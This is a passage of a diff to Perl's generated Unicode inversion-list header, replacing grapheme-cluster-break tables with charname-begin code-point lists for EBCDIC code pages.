-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_Other,
-	GCB_V,
-	GCB_Other,
-	GCB_T,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Regional_Indicator,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Modifier,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base_GAZ,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Other
-};
-
-#endif	/* defined(PERL_IN_REGEXEC_C) */
-
-#if defined(PERL_IN_UTF8_C)
-
-static const UV _Perl_IDCont_invlist[] = { /* for EBCDIC 1047 */
-	1391,	/* Number of elements */
+static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for EBCDIC 1047 */
+	1209,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -36838,8 +154846,6 @@
 	0x5A,
 	0x62,
 	0x6A,
-	0x6D,
-	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -36871,7 +154877,7 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xFA,
+	0xF0,
 	0xFB,
 	0xFF,
 	0x100,
@@ -36884,6 +154890,2429 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3007,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6E6,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for EBCDIC 037 */
+	1205,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
